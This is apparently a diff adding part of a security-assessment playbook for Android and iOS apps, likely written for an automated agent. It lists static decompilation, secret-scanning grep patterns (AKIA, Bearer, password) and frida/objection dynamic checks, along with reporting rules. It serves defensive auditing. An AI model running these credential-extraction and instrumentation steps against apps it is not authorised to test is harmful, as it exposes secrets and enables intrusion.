26
|
+
3. Expand to deep static analysis.
|
|
27
|
+
- Code-level sink/source tracing for auth, storage, crypto, IPC/deep links.
|
|
28
|
+
4. Run dynamic checks if runtime is available.
|
|
29
|
+
- Validate TLS pinning behavior, root/jailbreak checks, auth/session handling, local storage protections.
|
|
30
|
+
5. Report with reproducible evidence.
|
|
31
|
+
- Include exact command, file path, and output snippet per finding.
|
|
32
|
+
|
|
33
|
+
## Android (APK/AAB)
|
|
34
|
+
|
|
35
|
+
### Static Baseline
|
|
36
|
+
|
|
37
|
+
```bash
|
|
38
|
+
# Metadata and signing
|
|
39
|
+
sha256sum app.apk
|
|
40
|
+
apksigner verify --print-certs app.apk || true
|
|
41
|
+
|
|
42
|
+
# Decode manifest/resources
|
|
43
|
+
apktool d -f app.apk -o output/apktool_app
|
|
44
|
+
|
|
45
|
+
# Java/Kotlin decompilation
|
|
46
|
+
jadx -d output/jadx_app app.apk
|
|
47
|
+
|
|
48
|
+
# Secrets and indicators
|
|
49
|
+
strings app.apk | grep -E "AKIA|AIza|Bearer|token|password|secret" | head
|
|
50
|
+
apkleaks -f app.apk -o output/apkleaks.txt || true
|
|
51
|
+
apkid app.apk || true
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
### Priority Checks
|
|
55
|
+
|
|
56
|
+
- Exported activities/services/receivers/providers without proper permission gating.
|
|
57
|
+
- `android:debuggable="true"` in release builds.
|
|
58
|
+
- Insecure network config (`usesCleartextTraffic`, permissive trust managers, weak hostname checks).
|
|
59
|
+
- Hardcoded secrets, backend URLs, and test credentials.
|
|
60
|
+
- Weak local storage handling (plaintext tokens/PII in shared prefs, sqlite, files).
|
|
61
|
+
- Unsafe deep-link/intent handling that could enable privilege bypass.
|
|
62
|
+
|
|
63
|
+
### Dynamic (If Device/Emulator Exists)
|
|
64
|
+
|
|
65
|
+
```bash
|
|
66
|
+
adb devices
|
|
67
|
+
frida-ps -U
|
|
68
|
+
objection -g <package.name> explore
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
- If no connected runtime is available, continue static-only and mark dynamic coverage gap explicitly.
|
|
72
|
+
|
|
73
|
+
## iOS (IPA)
|
|
74
|
+
|
|
75
|
+
### Static Baseline (Headless-Friendly)
|
|
76
|
+
|
|
77
|
+
```bash
|
|
78
|
+
sha256sum app.ipa
|
|
79
|
+
unzip -o app.ipa -d output/ipa_unpacked
|
|
80
|
+
find output/ipa_unpacked -maxdepth 4 -name Info.plist -print
|
|
81
|
+
strings output/ipa_unpacked/Payload/*/*.app/* | grep -Ei "token|secret|apikey|password" | head
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
### Priority Checks
|
|
85
|
+
|
|
86
|
+
- ATS configuration exceptions in `Info.plist`.
|
|
87
|
+
- URL schemes / universal links exposure and unsafe handlers.
|
|
88
|
+
- Hardcoded endpoints, secrets, feature flags, and debug toggles.
|
|
89
|
+
- Insecure local data handling assumptions (Keychain usage validation via code paths).
|
|
90
|
+
- Jailbreak detection logic weaknesses (bypass potential) noted as hypothesis unless dynamically proven.
|
|
91
|
+
|
|
92
|
+
### Dynamic iOS Note
|
|
93
|
+
|
|
94
|
+
- Full dynamic iOS instrumentation is typically not feasible inside this Docker engine alone.
|
|
95
|
+
- If dynamic iOS testing is required, escalate to dedicated environment and keep this agent focused on static evidence + hypothesis generation.
|
|
96
|
+
|
|
97
|
+
## Evidence and Reporting
|
|
98
|
+
|
|
99
|
+
- For each issue, include:
|
|
100
|
+
- Affected file/component path.
|
|
101
|
+
- Reproduction command(s).
|
|
102
|
+
- Security impact and realistic attack path.
|
|
103
|
+
- Minimal remediation guidance.
|
|
104
|
+
- If dynamic testing is unavailable, add explicit "Not validated dynamically" tag.
|
|
105
|
+
|